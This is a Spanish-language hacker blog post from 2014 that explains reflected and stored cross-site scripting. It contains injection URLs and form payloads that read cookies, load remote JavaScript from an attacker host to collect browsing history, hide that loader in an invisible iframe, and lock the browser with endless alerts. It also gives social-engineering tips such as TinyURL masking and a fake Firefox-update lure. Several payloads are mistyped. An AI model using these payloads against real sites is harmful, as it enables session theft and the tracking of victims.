HACKER ANGELWHITE GALC

miércoles, 2 de abril de 2014

Cross Site Scripting



El Cross Site Scripting (XSS) es la vulnerabilidad mas explotada segun OWASP (Open web Application Security Project).

En el XSS se manipula la entrada (input) de parámetros de una aplicación con el objetivo de obtener en la salida (outout) determinada que no se la habitual al funcionamiento del sistema.

Por ahi he escuchado que casi el 90% de todos los sitios web tienen al menos una vulnerabilidad , y el 70 % de todas las vulnerabilidades son XSS.



A pesar de tratarse de una temática en seguridad algo antigua, aun siguen apareciendo nuevos vectores de ataque y técnicas que haces que se encuentre en constante evolución.

Se trata de un tipo de ataque muy pero muy imaginativo..jejeje.xDDDDD..Pues es hora de empezar a explotar nuestra imaginación....=)...Solo va ser corto este post....porque hay mucho ..pero mucho de este tipo de vulnerabilidad.....=)

Reflected Cross Site Scripting

Es el ataque Cross-Site Scripting (XSS) no persistente; es un tipo de inyeccion de código en la que este no se ejecuta con la aplicación web, pero si se origina cuando la víctima carga una URL dterminada (navegador).

Escenarios :

- El atacante crea una URL con el código malicioso inyectado y lo camufla...=O
-Se le envia el enlace a la victima..=P
-La inocente víctima visita la web con el código malicioso...=)
- Por último el codigo malicioso es ejecutado por el navegador del usurio....yeahh!!

Este tipo de ataques generalmente se utilizan para robar las cookies de la víctima, secuestrar el navegador, tratar de acceder al historial de visitas y cambiar el contenido de la web que visita la víctima.

Un ejemplo clásico de XSS Reflected lo podemos observar en paginas web que "saludan" de alguna forma al usuario con su nombre registrado.

http://tiendavirtual.com/index.php?user=MrMagoo



Si al inyectar el código muestra la cookie de sesión en nuestro navegador , el parámetro es vulnerable....=)

Inyección normal :

http://tiendavirtual.com/index.php?user=<script>alert(document.cookie);</script>

Inyección filtrando caracteres y en Hex :

http://tienda2134.com/index.php?user=%3script%3alert(document.cookie);%3C%2Fscript%3




Yeahhhhhhhhhhhhh!!!!!!!!!! vulnerable..xDDDDDD

Ahora esto se va a poner mejor....=D..."Aprovechando" el vector (Inline Scripting)

http://www.tiendavirtual.com/index.php?user=%3Csript%%20a="%3"%20SRC="http://blackbox.psy.net/urls_visited1.js"%3%3C%2Fscript%3

El código (con evasivas) ejecutará de forma remota el script en javascript del sitio del atacante.En el ejemplo ejecuta un código malicioso que recopila el historial de la víctima.

-Ya temos el vector para el ataque...=O
-Ahora al ser "reflejado" se ejecuta en el contexto del navegador.
-Ahora viene la habilidad , el ataque que incluye ingeniería social con la víctima.
-La URL con el código malicioso puede ocultarse con TinyURL (http://tinyurl.com/create.php)


http://tinyurl.com/lf4vo2


Creo que es hora de un aaque "reflejado" en un formulario de búsqueda.

El atacante inyecta el codigo directamente en el formulario de búsqueda de la aplicación web (con o sin evasivas).


=O ...http://www.met.police.uk/cgi-bin/htsearch 


Ejemplo de vector de ataque "reflejado" en un formulario de login ......=)

El atacante inyecta el código directamente en el formulario de login de la aplicación web (con o si evasivas....a su gusto..=)...)



Stores Cross Site Scripting

Este ataque Cross Site Scripting (XSS) persistente, es una ataque mas peligroso que el anterior ya que ejecuta el código inyectado por el atacante en los navegadores de todos los usuarios que visitan la aplicación web . Generalmente se produce en aquellas aplicaciones que permiten a los usuarios guardar algun tipo de dato....=)

Escenario:

- El atacante guarda el código malicioso e forma persistente en una web vulnerable.
- La víctima se identifica en la aplicación con sus credenciales de usuaio.
- La víctima visita la web ...asi como jugando...xD...
- Por último, el código malicioso se ejecuta por el navegador del usuario.


Analisando un poco....mmmm....en pocas palabras este tipo de vulnerabilidad te permite tomar el control del navegador de la víctima, capturar información sobre sus aplicaciones, realizar un deface del sitio web , scanear puertos de los usuarios de la aplicación web, ejecutar exploits basados en el navegador y un mundo de wadas mas con solo un poco mas de imaginación....xDDDDDDD

Ahora hay que ver un caso mas complejo......=D....imaginen lanzar ataques coordinados sobre una red mediante el secuestro masivo..pero masivo de navegadores....=P.....Eso permitiría crear focos para la propagación de gusanos....=P

Un posible ejemplo de XSS "Stored" podemos verlo de forma practica en páginas web que contienen foros o permiter dejar comentarios en los artículos.

Posibles víctimas ...xDDDDD

- Perfiles de usuario
- Carros e compra.
- Gestores de archivos.
- Aplicaciones que permiten configurar datos de usuarios.


Ahora para comprobar que una aplicación es vulnerable, podemos insertar un comentario "normal".....xDDDD....utilizando determiandos tags de HTML...en pocas palabras una injeccion HTML.....=D

Por ejemplo, podemos poner un texto en negrita...jijiji....<b>

Esto nos permitira conocer si es posible insertar código "persistente" dejando un comentario.

En internet no suele ser tan sencillo...

 - Es probable que la web utlize unos filtros de tags y atributos..=(
- Pseudocódigo que interprete los estilos.
- Funiones tipo : strip_tags() preg_replace() str_replace()
- Otras medidas de filtro de inputs[echo htmlspecialchars($nombre);]

De todas maneras, siempre podemos tratar de construir el código necesario para evadir los filtros y alguna manera que otra función. Revisar el código . Hay que ser creativos ...hay que tener estilo..xDD...


Utilizando ingeniería social el atacate puede escribir un texto que atraiga la atención de las vítimas. Por ejemplo, utilizando un "asunto/comentario" que pueda ser de interés.


Asunto: New Firefox release (ultimate version)...=O

Comentario: All bugs fixed in new Firefos Release. Download here. (Link malicioso)..jijijiji....


Al tratarse de código inyectado "persistente", los visitantes del sitio web no tiene porque enterarse de su ejecutión a nivel de aplicación, si el código malicioso está bien constituido.

Varios ejemplos en la mente de mi camarada "Un informático en el lado del mal", de código a inyectar en el navegador de la víctima, solo por visitar la web que contiene el "comentario", pueden ser:


 1.- Ejecución remota de un mensaje de Alert() en el navegador de la víctima.


Podemos realizar un ataque "persistente" igual de avanzado con otros vectores.

Estudiar el código fuente para ver el resultado de las pruebas de cada inyección es la clave en la búsqueda de otro tipo de caminos....=D

Alucinaa..un rato...zzzz....e imagina que en el comentario (con o sin evasivas), el atacate prueba a utilizar este simple vector ">
Asunto : test

Comentario :  "><script>document.alert(XSS)</script>

Ahora si la aplicación no está bien filtrada, puede ser que "cierre" el campo value del formulario que permite dejar comentarios, "rompiendo" el funcionamiento normal y permitiendo inyectar código a continuación.

Así interpretaría el código inyectado la aplicación....jejeje..


<input type = "text" name="comentario" id="comentario"
value=""><script>documente.alert(XSS)</script>


Lo que supone la ejecución de un Alert() en el navegador de la víctima.


2.- Ejecución de código similar al ejemplo "Reflected" de manera oculta (iframe + Hex) utilizando la técnica Cross Site Scripting (XFS).....xDD!




Código inyectando XFS sin "camuflar" :


"><iframe frameborder=0 height=0 width=0
src=javascript:void(document.location="http://blackbox.psy.net/urls_visited1.js")></iframe>

Al tratarse de código inyectado "persistente", los visitantes no se daran cuenta de la creación de un iframe "oculto" al visitar el comentario, en el cual, se ejecutará el código remoto de la web del atacante. En el ejemplo usado recopila las urls que ha visitado la víctima.


3. Denegacion de servicio del navegador de la víctima.


"><script>for(;;)alert("BUCLE");</script>

El navegador entrará en un loop infinito de apertura de alerts() obligando a la víctima a cerrarlo, denegando el servicio de la aplicación por falta de recursos o por "obligación" del usuario.


Ahora vamos a ir a algo mas interensante..vamos a evadir los filtros que tienen las web....xDDDDDDD

 Evitando Filtros

Los ataques Cross Site  dependen en buena medida de la habilidad que tiene el atacante para "saltarse" (hacer un "bypass") los filtros que puede tener una determinada aplicación.





No hay comentarios:

Publicar un comentario